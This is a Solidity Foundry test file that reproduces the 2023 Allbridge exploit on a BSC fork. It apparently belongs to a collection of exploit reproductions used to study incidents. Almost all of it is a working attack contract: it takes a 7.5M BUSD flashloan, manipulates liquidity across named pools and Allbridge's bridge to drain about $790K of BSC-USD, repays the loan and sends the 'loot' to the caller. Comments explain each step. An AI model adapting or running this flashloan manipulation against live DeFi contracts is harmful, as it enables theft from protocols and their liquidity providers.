src/test/2023-04/Allbridge_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/BeosinAlert/status/1642372700726505473
9// @Tx
10// https://bscscan.com/tx/0x7ff1364c3b3b296b411965339ed956da5d17058f3164425ce800d64f1aef8210
11 
12interface IPool {
13    function swap(
14        address fromToken,
15        address toToken,
16        uint256 fromAmount,
17        uint256 minimumToAmount,
18        address to,
19        uint256 deadline
20    ) external returns (uint256 actualToAmount, uint256 haircut);
21 
22    function deposit(
23        uint256 amount
24    ) external;
25}
26 
27interface IPool2 {
28    function deposit(
29        uint256 amount
30    ) external;
31    function withdraw(
32        uint256 amountLp
33    ) external;
34}
35 
36interface IBridge {
37    function swap(uint256 amount, bytes32 token, bytes32 receiveToken, address recipient) external;
38}
39 
40contract ContractTest is Test {
41    function setUp() external {
42        vm.createSelectFork("bsc", 26_982_067);
43    }
44 
45    function test_exploit() external {
46        Exploit exploit = new Exploit();
47        exploit.run();
48    }
49}
50 
51contract Exploit {
52    IPancakePair pancakeSwap = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
53    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
54    IERC20 BSC_USD = IERC20(0x55d398326f99059fF775485246999027B3197955);
55    IPool pool_0x312B = IPool(0x312Bc7eAAF93f1C60Dc5AfC115FcCDE161055fb0);
56    IPool2 pool_0x179a = IPool2(0x179aaD597399B9ae078acFE2B746C09117799ca0);
57    IPool2 pool_0xb19c = IPool2(0xB19Cd6AB3890f18B662904fd7a40C003703d2554);
58    IBridge bridge = IBridge(0x7E6c2522fEE4E74A0182B9C6159048361BC3260A);
59 
60    function run() external {
61        console.log("hacker BUSD bal before attack is       ", BUSD.balanceOf(tx.origin));
62 
63        // The attacker flashloans $7.5M of BUSD
64        pancakeSwap.swap(0, 7_500_000e18, address(this), "Gimme da loot");
65    }
66 
67    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
68        // Swaps $2M BUSD for $2M $BSC-USD in pool_0x312B
69        BUSD.approve(address(pool_0x312B), type(uint256).max);
70        BSC_USD.approve(address(pool_0x312B), type(uint256).max);
71 
72        pool_0x312B.swap(address(BUSD), address(BSC_USD), 2_003_300e18, 1, address(this), block.timestamp + 100 seconds);
73 
74        // Then deposits $5M BUSD into pool 0x179a
75        BUSD.approve(address(pool_0x179a), type(uint256).max);
76        pool_0x179a.deposit(5_000_000e18);
77 
78        // Swap BUSD to BSC_USD
79        pool_0x312B.swap(address(BUSD), address(BSC_USD), 496_700e18, 1, address(this), block.timestamp + 100 seconds);
80 
81        // Deposit $2 mil into pool_0xb19c
82        BSC_USD.approve(address(pool_0xb19c), type(uint256).max);
83        pool_0xb19c.deposit(2_000_000e18);
84 
85        /*
86         The attacker then swaps $500K BSC-USD for $BUSD 
87        in Allbridge's Bridge contract, resulting in a high 
88        dividend for the previous liquidity deposit.
89        */
90 
91        bytes32 bsc_usd = 0x00000000000000000000000055d398326f99059ff775485246999027b3197955;
92        bytes32 busd = 0x000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d56;
93 
94        uint256 BSC_USD_bal = BSC_USD.balanceOf(address(this));
95        bridge.swap(BSC_USD_bal, bsc_usd, busd, address(this));
96 
97        /*
98         The BUSD liquidity in 0x179a is then removed, 
99        at which point the liquidity balance within 
100        the 0x179a pool is broken.
101        */
102 
103        pool_0x179a.withdraw(4_830_262_616);
104 
105        /*
106         The attacker was then able to swap out $790,000 
107        of BSC-USD from Bridge using only $40,000 of BUSD.
108        */
109 
110        bridge.swap(40_000e18, busd, bsc_usd, address(this));
111 
112        // Withdraw from pool_0xb19c
113        pool_0xb19c.withdraw(1_993_728_530);
114 
115        // Swap BSC_USD to BUSD in pool_0x312B
116        BSC_USD_bal = BSC_USD.balanceOf(address(this));
117        pool_0x312B.swap(address(BSC_USD), address(BUSD), BSC_USD_bal, 1, address(this), block.timestamp + 100 seconds);
118 
119        // Repay flashloan
120        BUSD.transfer(address(pancakeSwap), 7_522_500e18);
121 
122        // Transfer loot to attacker
123        BUSD.transfer(tx.origin, BUSD.balanceOf(address(this)));
124 
125        console.log("hacker BUSD bal after attack is        ", BUSD.balanceOf(tx.origin));
126    }
127}